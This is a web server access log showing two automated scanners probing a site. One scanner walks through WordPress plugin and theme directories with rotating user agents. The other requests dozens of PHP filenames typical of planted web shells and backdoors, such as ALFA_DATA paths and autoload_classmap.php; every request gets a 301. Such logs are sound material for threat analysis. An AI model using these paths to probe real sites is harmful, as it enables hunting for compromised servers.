[29/Apr/2025:14:53:44 -0400] "GET /wp-content/plugins/wpeazvp/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 37.19.211.38 - - [29/Apr/2025:14:53:44 -0400] "GET /wp-content/plugins/zaen/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:53:44 -0400] "GET /wp-content/uploads/revslider/templates/immersion-photography/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:44 -0400] "GET /patriotic/wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 37.19.211.38 - - [29/Apr/2025:14:53:44 -0400] "GET /wp-includes/js/tinymce/plugins/fullscreen/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:44 -0400] "GET /wp-content/plugins/core-stab/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 37.19.211.38 - - [29/Apr/2025:14:53:45 -0400] "GET /wp-content/themes/alera/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:45 -0400] "GET /wp-content/themes/rishi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 37.19.211.38 - - [29/Apr/2025:14:53:45 -0400] "GET /wp-content/themes/sketch/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 37.19.211.38 - - [29/Apr/2025:14:53:45 -0400] "GET /wp-content/themes/thuoc-nam/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 37.19.211.38 - - [29/Apr/2025:14:53:45 -0400] "GET /wp-content/themes/twentyfive/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:45 -0400] "GET /wp-content/themes/wp-pridmag/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:53:46 -0400] "GET /wp-content/themes/pridmag/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:46 -0400] "GET /wp-content/themes/zakra/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:46 -0400] "GET /wp-content/uploads/simple-file-list/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:53:46 -0400] "GET /admin/upload/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 37.19.211.38 - - [29/Apr/2025:14:53:46 -0400] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:46 -0400] "GET /up/.well-known/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 37.19.211.38 - - [29/Apr/2025:14:53:47 -0400] "GET /wp-content/plugins/apikey/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:47 -0400] "GET /wp-content/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:47 -0400] "GET /images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:47 -0400] "GET /css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:47 -0400] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:47 -0400] "GET /wp-includes/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.38 - - [29/Apr/2025:14:53:48 -0400] "GET /wp-includes/SimplePie/XML/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:53:48 -0400] "GET /wp-content/uploads/wpr-addons/forms/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:48 -0400] "GET /wp-content/plugins/WordPressCore/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:48 -0400] "GET /wordpress/wp-admin/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:48 -0400] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:48 -0400] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.38 - - [29/Apr/2025:14:53:49 -0400] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:49 -0400] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:49 -0400] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:53:49 -0400] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 37.19.211.38 - - [29/Apr/2025:14:53:49 -0400] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:50 -0400] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 37.19.211.38 - - [29/Apr/2025:14:53:50 -0400] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:53:50 -0400] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 37.19.211.38 - - [29/Apr/2025:14:53:50 -0400] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:51 -0400] "GET /wp-content/plugins/pwnd/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 37.19.211.38 - - [29/Apr/2025:14:53:51 -0400] "GET /about/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:51 -0400] "GET /plugins/jquery.filer/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 37.19.211.38 - - [29/Apr/2025:14:53:51 -0400] "GET /wp-content/plugins/dummyyummy/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 37.19.211.38 - - [29/Apr/2025:14:53:51 -0400] "GET /wp-content/themes/seotheme/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 37.19.211.38 - - [29/Apr/2025:14:53:52 -0400] "GET /wp-content/plugins/core/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 37.19.211.38 - - [29/Apr/2025:14:53:52 -0400] "GET /wp-content/plugins/revslider/includes/external/page/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:53:52 -0400] "GET /wp-content/plugins/Cache/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:53:52 -0400] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:52 -0400] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:52 -0400] "GET /index/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 37.19.211.38 - - [29/Apr/2025:14:53:53 -0400] "GET /wp-content/plugins/seoplugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:53 -0400] "GET /fonts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:53 -0400] "GET /js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 37.19.211.38 - - [29/Apr/2025:14:53:53 -0400] "GET /routes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 37.19.211.38 - - [29/Apr/2025:14:53:53 -0400] "GET /uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:53 -0400] "GET /templates/beez3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:54 -0400] "GET /wp-content/themes/digital-download/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:54 -0400] "GET /wp-content/plugins/wp-theme-editor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 37.19.211.38 - - [29/Apr/2025:14:53:54 -0400] "GET /templates/atomic/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:53:54 -0400] "GET /wp-content/plugins/seoo/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 37.19.211.38 - - [29/Apr/2025:14:53:55 -0400] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:53:55 -0400] "GET /wp-includes/js/jcrop/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:53:55 -0400] "GET /wp-content/plugins/google-seo-rank/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 37.19.211.38 - - [29/Apr/2025:14:53:55 -0400] "GET /wp-content/plugins/erin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:55 -0400] "GET /wp-content/maintenance/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 37.19.211.38 - - [29/Apr/2025:14:53:56 -0400] "GET /wp-content/x/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.38 - - [29/Apr/2025:14:53:56 -0400] "GET /wp-content/plugins/seooyanz/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:56 -0400] "GET /wp-content/themes/sky-pro/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:56 -0400] "GET /wp-content/plugins/cp-pro/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 37.19.211.38 - - [29/Apr/2025:14:53:56 -0400] "GET /ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:56 -0400] "GET /wp-content/uploads/typehub/custom/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:53:57 -0400] "GET /wp-content/plugins/rencontre/inc/photo_import/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 37.19.211.38 - - [29/Apr/2025:14:53:57 -0400] "GET /wp-content/plugins/backup-backup/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:53:57 -0400] "GET /wp-content/plugins/pwnd-1/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:53:57 -0400] "GET /.tmb/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:57 -0400] "GET /wp-content/plugins/fix/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:58 -0400] "GET /includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:58 -0400] "GET /themes/pridmag/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 43.130.12.103 - - [29/Apr/2025:15:17:19 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36" 43.159.149.216 - - [29/Apr/2025:15:56:42 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 40.123.25.173 - - [29/Apr/2025:16:56:18 -0400] "GET /wp-content/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [29/Apr/2025:16:56:19 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [29/Apr/2025:16:56:20 -0400] "GET /aaa.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [29/Apr/2025:16:56:20 -0400] "GET /wp-content/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [29/Apr/2025:16:56:21 -0400] "GET /ds.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [29/Apr/2025:16:56:22 -0400] "GET /ok.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [29/Apr/2025:16:56:25 -0400] "GET /k.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [29/Apr/2025:16:56:25 -0400] "GET /config.php7 HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [29/Apr/2025:16:56:27 -0400] "GET /theme.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [29/Apr/2025:16:56:28 -0400] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [29/Apr/2025:16:56:30 -0400] "GET /wp-content/uploads/index.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [29/Apr/2025:16:56:31 -0400] "GET /wp-includes/blocks/shortcode/ HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [29/Apr/2025:16:56:32 -0400] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [29/Apr/2025:16:56:33 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [29/Apr/2025:16:56:33 -0400] "GET /public/makeasmtp.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [29/Apr/2025:16:56:34 -0400] "GET /wp-admin/css/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [29/Apr/2025:16:56:35 -0400] "GET /xcc.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [29/Apr/2025:16:56:36 -0400] "GET /2.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [29/Apr/2025:16:56:36 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [29/Apr/2025:16:56:37 -0400] "GET /classwithtostring.php/rbzccnnp.php/ HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [29/Apr/2025:16:56:37 -0400] "GET /wp-includes/blocks/more/ HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [29/Apr/2025:16:56:37 -0400] "GET /admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [29/Apr/2025:16:56:38 -0400] "GET /wp-content/uploads/2023/05/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [29/Apr/2025:16:56:38 -0400] "GET /.well-known/lofmebwd.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [29/Apr/2025:16:56:39 -0400] "GET /wp-includes/Requests/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [29/Apr/2025:16:56:39 -0400] "GET /wp-admin/index.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [29/Apr/2025:16:56:40 -0400] "GET /.tmb/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [29/Apr/2025:16:56:41 -0400] "GET /wp-content/plugins/WordPressCore/ HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [29/Apr/2025:16:56:41 -0400] "GET /wp-includes/sitemaps/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [29/Apr/2025:16:56:41 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [29/Apr/2025:16:56:42 -0400] "GET /wp-content/file.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [29/Apr/2025:16:56:42 -0400] "GET /wp-includes/style-engine/gecko-new.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [29/Apr/2025:16:56:43 -0400] "GET /wp-config-sample.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [29/Apr/2025:16:56:43 -0400] "GET /wp-content/upgrade/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [29/Apr/2025:16:56:44 -0400] "GET /wp-content/uploads/admin.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [29/Apr/2025:16:56:45 -0400] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [29/Apr/2025:16:56:45 -0400] "GET /buy.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [29/Apr/2025:16:56:46 -0400] "GET /wp-admin/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [29/Apr/2025:16:56:48 -0400] "GET /wp-content/uploads/2023/10/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [29/Apr/2025:16:56:51 -0400] "GET /wp-includes/Requests/file.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [29/Apr/2025:16:56:53 -0400] "GET /epinyins.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [29/Apr/2025:16:56:54 -0400] "GET /wp-content/uploads/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [29/Apr/2025:16:56:55 -0400] "GET /ova.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [29/Apr/2025:16:56:56 -0400] "GET /.well-known/acme-challenge/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [29/Apr/2025:16:56:57 -0400] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [29/Apr/2025:16:56:57 -0400] "GET /bak.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [29/Apr/2025:16:56:58 -0400] "GET /colors.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [29/Apr/2025:16:56:59 -0400] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [29/Apr/2025:16:57:00 -0400] "GET /wp-includes/theme-compat/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [29/Apr/2025:16:57:01 -0400] "GET /past.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [29/Apr/2025:16:57:01 -0400] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [29/Apr/2025:16:57:01 -0400] "GET /wp-index.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [29/Apr/2025:16:57:02 -0400] "GET /block-bindings.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [29/Apr/2025:16:57:02 -0400] "GET /randkeyword.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [29/Apr/2025:16:57:03 -0400] "GET /.well-known/acme-challenge/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [29/Apr/2025:16:57:03 -0400] "GET /wp-includes/assets/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [29/Apr/2025:16:57:04 -0400] "GET /wp-includes/certificates/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [29/Apr/2025:16:57:04 -0400] "GET /system.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [29/Apr/2025:16:57:04 -0400] "GET /wp-includes/js/crop/ HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [29/Apr/2025:16:57:04 -0400] "GET /hehe.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [29/Apr/2025:16:57:05 -0400] "GET /gecko-new.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [29/Apr/2025:16:57:05 -0400] "GET /mah/function.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [29/Apr/2025:16:57:06 -0400] "GET /wp-includes/ID3/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [29/Apr/2025:16:57:06 -0400] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [29/Apr/2025:16:57:07 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [29/Apr/2025:16:57:08 -0400] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [29/Apr/2025:16:57:08 -0400] "GET /wp-includes/blocks/loginout/ HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [29/Apr/2025:16:57:09 -0400] "GET /click.php HTTP/1.1" 301 795 "-" "-" 40.123.25.173 - - [29/Apr/2025:16:57:09 -0400] 